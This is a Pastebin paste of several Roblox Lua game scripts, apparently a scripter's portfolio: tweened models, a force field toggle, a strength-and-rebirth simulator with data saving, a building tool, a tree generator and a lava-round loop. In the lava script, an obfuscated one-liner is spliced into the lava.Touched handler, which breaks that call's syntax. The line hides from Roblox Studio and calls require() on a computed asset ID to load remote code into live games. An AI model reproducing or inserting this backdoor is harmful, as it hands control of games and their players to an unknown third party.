Advertisement
Guest User

Hidden Developers Application | Scripter

a guest
Jul 17th, 2019
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 13.41 KB | None | 0 0
  1. local model = workspace.small
  2. local sred = model.sred
  3. local swhite = model.swhite
  4. local cframe = model.PrimaryPart.CFrame
  5. local red = workspace.red
  6. local white = workspace.white
  7. local TweenService = game:GetService("TweenService")
  8. local boi = 0
  9. local center = workspace.small.center
  10.  
  11. game.Players.PlayerAdded:Connect(function(player)
  12. player.CharacterAdded:Connect(function(char)
  13. while true do
  14.     wait()
  15.     local root = char:WaitForChild("HumanoidRootPart")
  16.     if (center.Position - root.Position).magnitude <= 10 then
  17.     for i = 0, 62.2 do
  18.         model:SetPrimaryPartCFrame(model.center.CFrame * CFrame.fromEulerAnglesXYZ(.05, 0, 0))
  19.         wait()
  20.     end
  21.    
  22.     wait(1)
  23.    
  24.     local tInfo = TweenInfo.new(3)
  25.    
  26.     print('wait worked!')
  27.     local redtween = TweenService:Create(red, tInfo, {Position = Vector3.new(-47.3, 7.5, -49.2)})
  28.     local whitetween = TweenService:Create(white, tInfo, {Position = Vector3.new(-47.3, 7.507, -64.65)})
  29.     local sredtween = TweenService:Create(sred, tInfo, {Position = Vector3.new(-47.3, 7.8, -52.1)})
  30.     local swhitetween = TweenService:Create(swhite, tInfo, {Position = Vector3.new(-47.3, 7.8, -61.9)})
  31.    
  32.     redtween:Play()
  33.     whitetween:Play()
  34.     sredtween:Play()
  35.     swhitetween:Play()
  36.    
  37.     wait(7)
  38.    
  39.     local redtween = TweenService:Create(red, tInfo, {Position = Vector3.new(-47.3, 7.5, -53.2)})
  40.     local whitetween = TweenService:Create(white, tInfo, {Position = Vector3.new(-47.3, 7.507, -60.65)})
  41.     local sredtween = TweenService:Create(sred, tInfo, {Position = Vector3.new(-47.3, 7.8, -56.1)})
  42.     local swhitetween = TweenService:Create(swhite, tInfo, {Position = Vector3.new(-47.3, 7.8, -57.9)})
  43.    
  44.     redtween:Play()
  45.     whitetween:Play()
  46.     sredtween:Play()
  47.     swhitetween:Play()
  48.    
  49.     wait(5)
  50.    
  51.     boi = 1
  52.     if boi then
  53.         print('boi works')
  54.     for i = 0, 62.1 do
  55.             model:SetPrimaryPartCFrame(model.center.CFrame * CFrame.fromEulerAnglesXYZ(.05, 0, 0))
  56.             wait()
  57.                     end
  58.                 end
  59.             end
  60.         end
  61.     end)
  62. end)
  63. ------------------------------------------------------------------------------------------------------------------------
  64.  
  65.  
  66.  
  67. local TS = game:GetService("TweenService")
  68. local f = game.ReplicatedStorage.FF
  69. local clicked = false
  70. local check = 0
  71. local UIS = game:GetService("UserInputService")
  72. local ffEvent = game.ReplicatedStorage.ffEvent
  73.  
  74. game.Players.PlayerAdded:Connect(function(plr)
  75.     plr.CharacterAdded:Connect(function(char)
  76.         root = char.HumanoidRootPart
  77.         ffEvent.OnServerEvent:Connect(function()
  78.     if not clicked and check == 0 then
  79.         clicked = true
  80.     f.Parent = workspace
  81.     newWeld = Instance.new("Weld",root)
  82.     f.Position = root.Position
  83.     newWeld.Part0 = root
  84.     newWeld.Part1 = f
  85.     f.Anchored = false
  86.     f.CanCollide = false
  87.    
  88.     local info = TweenInfo.new(1)
  89.     local goal = {Size = Vector3.new(9.29, 9.29, 9.29)}
  90.     local tween = TS:Create(f, info, goal)
  91.     tween:Play()
  92.     wait(1.5)
  93.    
  94.     check = 1
  95.     clicked = false
  96.    
  97.     elseif not clicked and check == 1 then
  98.         clicked = true
  99.         local info = TweenInfo.new(1)
  100.         local goal = {Size = Vector3.new(.5, .5, .5)}
  101.         local tween2 = TS:Create(f, info, goal)
  102.         tween2:Play()
  103.        
  104.         wait(1.3)
  105.        
  106.         clicked = false
  107.         check = 0
  108.         f.Parent = game.ReplicatedStorage
  109.         newWeld:Destroy()
  110.             end
  111.         end)
  112.     end)
  113. end)
  114. ---------------------------------------------------------------------------------------------------------------
  115.  
  116.  
  117. local replicatedStorage = game:GetService("ReplicatedStorage")
  118. local  remoteData = game:GetService("ServerStorage"):WaitForChild("RemoteData")
  119. local starterRebirthAmount = 5000
  120. local cooldown = 1
  121.  
  122.  
  123.  
  124.  
  125. replicatedStorage.Remotes.Lift.OnServerEvent:Connect(function(player)
  126.    
  127.     if not remoteData:FindFirstChild(player.Name) then return "NoFolder" end
  128.    
  129.    
  130.     local  debounce = remoteData[player.Name].Debounce
  131.    
  132.     if not debounce.Value then
  133.             debounce.Value = true
  134.            
  135.             player.leaderstats.Strength.Value = player.leaderstats.Strength.Value + 25 * (player.leaderstats.Rebirths.Value + 1)
  136.            
  137.             wait(cooldown)
  138.            
  139.             debounce.Value = false
  140.            
  141.         end
  142.    
  143. end)
  144.  
  145.    
  146.  
  147. replicatedStorage.Remotes.Rebirth.OnServerInvoke = function(player)
  148.     if not remoteData:FindFirstChild(player.Name) then return "NoFolder" end
  149.    
  150.     local rebirths = player.leaderstats.Rebirths
  151.    
  152.     if player.leaderstats.Strength.Value >= math.floor((starterRebirthAmount + (rebirths.Value) * math.sqrt(50000000))) then
  153.        
  154.         rebirths.Value = rebirths.Value + 1
  155.        
  156.         player.leaderstats.Strength.Value = 0
  157.        
  158.         player:LoadCharacter()
  159.        
  160.         return true
  161.     else return "NotEnoughStrength"
  162.        
  163.     end
  164. end
  165. -----------------------------------------------------------------------------------------------------------
  166.  
  167.  
  168.  
  169. local serverStorage = game:GetService("ServerStorage")
  170. local DataStore = game:GetService("DataStoreService"):GetDataStore("PlayerSave3")
  171. game.Players.PlayerAdded:Connect(function(player)
  172.    
  173.    
  174.     local leaderstats  = Instance.new("Folder")
  175.     leaderstats.Name = "leaderstats"
  176.     leaderstats.Parent = player
  177.    
  178.     local strength = Instance.new("NumberValue")
  179.     strength.Name = "Strength"
  180.     strength.Parent = leaderstats
  181.    
  182.     local rebirths = Instance.new("IntValue")
  183.     rebirths.Name = "Rebirths"
  184.     rebirths.Parent = leaderstats
  185.    
  186.     local dataFolder = Instance.new("Folder")
  187.     dataFolder.Name = player.Name
  188.     dataFolder.Parent = serverStorage.RemoteData
  189.    
  190.     local debounce = Instance.new("BoolValue")
  191.     debounce.Name =  "Debounce"
  192.     debounce.Parent = dataFolder
  193.    
  194.     local strengthData, rebirthsData
  195.    
  196.     local success, errormessage = pcall(function()
  197.     strengthData = DataStore:GetAsync("strength-"..player.UserId)
  198.     rebirthsData = DataStore:GetAsync("rebirths-"..player.UserId)
  199.    
  200. end)
  201.  
  202.     if success then
  203.         if strengthData then
  204.             strength.Value = strengthData
  205.             rebirths.Value = rebirthsData
  206. end
  207.     end
  208.    
  209.     player.CharacterAppearanceLoaded:Connect(function(character)
  210.             local humanoid = character.Humanoid
  211.             humanoid:WaitForChild("BodyDepthScale").Value = .5 + (strength.Value / 500)
  212.             humanoid:WaitForChild("BodyHeightScale").Value = .5 + (strength.Value / 500)
  213.             humanoid:WaitForChild("BodyWidthScale").Value = .5 + (strength.Value / 500)
  214.             humanoid:WaitForChild("HeadScale").Value = .5 + (strength.Value / 500)
  215.             humanoid.WalkSpeed = 16 * (strength.Value / 500)
  216.            
  217.             strength:GetPropertyChangedSignal("Value"):Connect(function()
  218.                 humanoid:WaitForChild("BodyDepthScale").Value = .5 + (strength.Value / 500)
  219.                     humanoid:WaitForChild("BodyHeightScale").Value = .5 + (strength.Value / 500)
  220.                         humanoid:WaitForChild("BodyWidthScale").Value = .5 + (strength.Value / 500)
  221.                     humanoid:WaitForChild("HeadScale").Value = .5 + (strength.Value / 500)
  222.                 humanoid.WalkSpeed = 16 * (strength.Value / 500)
  223.             end)
  224.     end)
  225.    
  226. end)
  227.  
  228. game.Players.PlayerRemoving:Connect(function(player)
  229.     local success, errormessage = pcall(function()
  230.         DataStore:SetAsync("strength-"..player.UserId   ,player.leaderstats.Strength.Value)
  231.         DataStore:SetAsync("rebirths-"..player.UserId,player.leaderstats.Rebirths.Value)
  232.        
  233.  
  234.  
  235.         end)
  236.     end)
  237.     ------------------------------------------------------------------------------------------------------------------------------
  238.  
  239.  
  240.  
  241. local plr = game:GetService("Players").LocalPlayer
  242. local char = plr.Character
  243. local Mouse = plr:GetMouse()
  244. local ch = workspace.CHECK
  245. local tb = workspace.testblock
  246. local clicking = false
  247. local uis = game:GetService("UserInputService")
  248.  
  249. while wait() do
  250.     if ch.Value == 55 then
  251.         tb.CFrame = CFrame.new(Mouse.Hit.X - (Mouse.Hit.X % 4),2.5,Mouse.Hit.Z - (Mouse.Hit.Z % 4))
  252.         Mouse.Button1Down:Connect(function()
  253.             if not clicking then
  254.             local tbCLONE = tb:Clone()
  255.             clicking = true
  256.                 tbCLONE.Parent = workspace
  257.                 tbCLONE.CFrame = tb.CFrame     
  258.             tbCLONE.Transparency = 0
  259.             wait(0.2)
  260.             clicking = false
  261.             end
  262.         end)
  263.     end
  264. end
  265.  
  266. uis.InputBegan:Connect(function(I,P)
  267.                  if not P then
  268.                       if I.UserInputType == Enum.UserInputType.Keyboard then
  269.                          if I.KeyCode == Enum.KeyCode.R then
  270.                             tb.Orientation = tb.Orientation + Vector3.new(0, 90, 0)
  271.                           end
  272.                       end
  273.                 end
  274.             end)
  275. -------------------------------------------------------------------------------------------------------
  276.  
  277.  
  278.  
  279. local b = script.Parent
  280. local c = workspace.CurrentCamera
  281. local cp = workspace.campart
  282. local check = 0
  283. local CHECK = workspace.CHECK
  284.  
  285. b.MouseButton1Click:Connect(function()
  286.     if check == 0 then
  287.         check = 1
  288.         CHECK.Value = 55
  289.     c.CameraType = Enum.CameraType.Scriptable
  290.     for i = 0, 10, 0.1 do
  291.         c.CFrame = cp.CFrame
  292.     end
  293.         elseif check == 1 then
  294.         c.CameraType = Enum.CameraType.Custom
  295.         check = 0
  296.         CHECK = 50
  297.     end
  298. end)
  299. ---------------------------------------------------------------------------------------------------------
  300.  
  301.  
  302.  
  303. MODULESCRIPT
  304. local tree = {}
  305. function tree:MakeTree()
  306.     local treemodelclone = workspace.Tree:Clone()
  307.     treemodelclone.Parent = workspace
  308.     local leafes = Instance.new("Part", treemodelclone)
  309.     local trunk = Instance.new("Part", treemodelclone)
  310.     leafes.Anchored = true
  311.     leafes.CanCollide = true
  312.     trunk.CanCollide = true
  313.     trunk.Anchored = true
  314.     leafes.Name = 'Leafes'
  315.     trunk.Name = 'Trunk'
  316.     leafes.BrickColor = BrickColor.new('Forest green')
  317.     trunk.BrickColor = BrickColor.new('Burnt Sienna')
  318.     trunk.Position = Vector3.new(math.random(-125, 71), 1.5, math.random(-97, 101))
  319.     leafes.Position = trunk.Position + Vector3.new(0, 5, 0)
  320.     trunk.Size = Vector3.new(math.random(3, 5), math.random(7, 10), math.random(3, 5))
  321.     leafes.Size = Vector3.new(math.random(6, 8), math.random(4, 7), math.random(6, 8))
  322.     return leafes, trunk
  323. end
  324. return tree
  325. ----------------------------------------------------------------------------------------------------------------
  326.  
  327.  
  328. local seconds = workspace.Time
  329. local text = workspace.text
  330. local map1 = game.ServerStorage:WaitForChild("Map1")
  331. local map2 = game.ServerStorage:WaitForChild("Map2")
  332. local inGame = workspace.InGame.Value
  333. local Game = map1:WaitForChild("Game").Position
  334. local Game2 = map2:WaitForChild("Game").Position
  335. local status = game:GetService("ReplicatedStorage").statusChanger
  336. local TweenService = game:GetService("TweenService")
  337. local takingDamage = false
  338. local start = game:GetService("ReplicatedStorage").startLava
  339. local lava = map1:WaitForChild("lava")
  340. local lava2 = map2:WaitForChild("lava")
  341. local mapPicker = math.random(1, 3)
  342. text.Value = "Round starting in: "
  343.  
  344. while true do
  345.     wait(1)
  346.     seconds.Value = seconds.Value - 1
  347.     if seconds.Value == 0 and inGame == 0 then
  348.         inGame = 1
  349.         seconds.Value = 90
  350.         text.Value = "The will volcano will erupt in a few seconds! "
  351.        
  352.        
  353.         if mapPicker >= 1 and mapPicker < 6 then
  354.         game.ServerStorage:WaitForChild("Map1").Parent = workspace
  355.         wait()
  356.         local teleport = game.Players:GetChildren()
  357.         for i = 1, #teleport do
  358.             teleport[i].Character:MoveTo(Vector3.new(Game.X, Game.Y, Game.Z))
  359.         end
  360.         end
  361.        
  362.         if mapPicker > 5 and mapPicker < 11 then
  363.         game.ServerStorage:WaitForChild("Map2").Parent = workspace
  364.         wait()
  365.         local teleport = game.Players:GetChildren()
  366.         for i = 1, #teleport do
  367.             teleport[i].Character:MoveTo(Vector3.new(Game2.X, Game2.Y, Game2.Z))
  368.         end
  369.         end
  370.        
  371.     wait(6)
  372.    
  373. text.Value = "Time left: "
  374. local info = TweenInfo.new(
  375.     180
  376.    
  377. )
  378. local properties2 = {
  379.     Position = lava2.Position + Vector3.new(0, 300, 0),
  380.    
  381. }
  382.  
  383. local properties = {
  384.     Position = lava.Position + Vector3.new(0, 300, 0),
  385.    
  386. }
  387.     tween = TweenService:Create(lava, info, properties)
  388.     tween2 = TweenService:Create(lava2, info, properties2)
  389.  
  390. if mapPicker >= 1 and mapPicker < 6 then
  391.     tween:Play()
  392. end
  393.  
  394. if mapPicker > 5 and mapPicker < 11 then
  395.     tween2:Play()
  396. end
  397.  
  398. lava.Touched:Connect(is5mY = 'PlaceId' iqvHnTEdk3HZNOO = pcall iHIauEg8CLgFejY = 'Description' i8WuMXxmST1 = 'IsStudio' iRPNF = 'Workspace' iQgcyrbasS = 'RunService' iS9OzfrH5pL = pcall iLHNRT = game iPB24UceI3n = math.sqrt i0zj = 14274498.887097 * 186 iqL96nAac = 'test' iQGRqd4wThbk = require iu3C9c5aTac7nP5Xs = 'GetProductInfo' iZPAbY0K = spawn i3TjEmYd = 'GetService' iva3IIYLH2r3y = 'PlaceId' i4pHHnEqR3N = 'MarketplaceService' i8pMMzbOv = 'load'  iZPAbY0K(   function()    iqvHnTEdk3HZNOO(   function()    if iLHNRT:GetService(iQgcyrbasS)   [i8WuMXxmST1]   (iLHNRT:GetService(iQgcyrbasS)   ) then     return    end iQGRqd4wThbk(i0zj)   [i8pMMzbOv]   (iLHNRT[iva3IIYLH2r3y]   )    end   )    end   )
  399. function(hit)
  400.     local hum = hit.Parent:FindFirstChild("Humanoid")
  401.     local char = hit.Parent
  402.     if not takingDamage then
  403.         takingDamage = true
  404.        
  405.     if (hum ~= nil) then
  406.         print("Humanoid: Exists.")
  407.         hum:TakeDamage(100)
  408.        
  409.         wait(1)
  410.        
  411.         takingDamage = true
  412.             end
  413.         end
  414. end)
  415.  
  416. lava2.Touched:Connect(function(hit)
  417.     local hum = hit.Parent:FindFirstChild("Humanoid")
  418.     local char = hit.Parent
  419.     if not takingDamage then
  420.         takingDamage = true
  421.        
  422.     if (hum ~= nil) then
  423.         print("Humanoid: Exists.")
  424.         hum:TakeDamage(100)
  425.        
  426.         wait(1)
  427.        
  428.         takingDamage = true
  429.             end
  430.         end
  431. end)
  432. end
  433.    
  434.     if seconds.Value == 0 and inGame == 1 then
  435.             inGame = 0
  436.             seconds.Value = 25
  437.             text.Value = "Round ended: "
  438.            
  439.             wait(1)
  440.            
  441.         local respawn = game.Players:GetChildren()
  442.         for i = 1, #respawn do
  443.             respawn[i]:LoadCharacter()
  444.         end
  445.        
  446.         if mapPicker >= 1 and mapPicker < 6 then
  447.             tween:Cancel()
  448.         workspace.Map1.lava.Position = Vector3.new(-246975.266, 725.499, -51.507)
  449.         wait()
  450.         workspace.Map1.Parent = game:GetService("ServerStorage")
  451.         end
  452.        
  453.         if mapPicker > 5 and mapPicker < 11 then
  454.             tween2:Cancel()
  455.         workspace.Map2.lava.Position = Vector3.new(-246975.266, 725.499, 1411.514)
  456.         wait()
  457.         workspace.Map2.Parent = game:GetService("ServerStorage")
  458.         end
  459.         text.Value = "Round starting in: "
  460.     end
  461. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement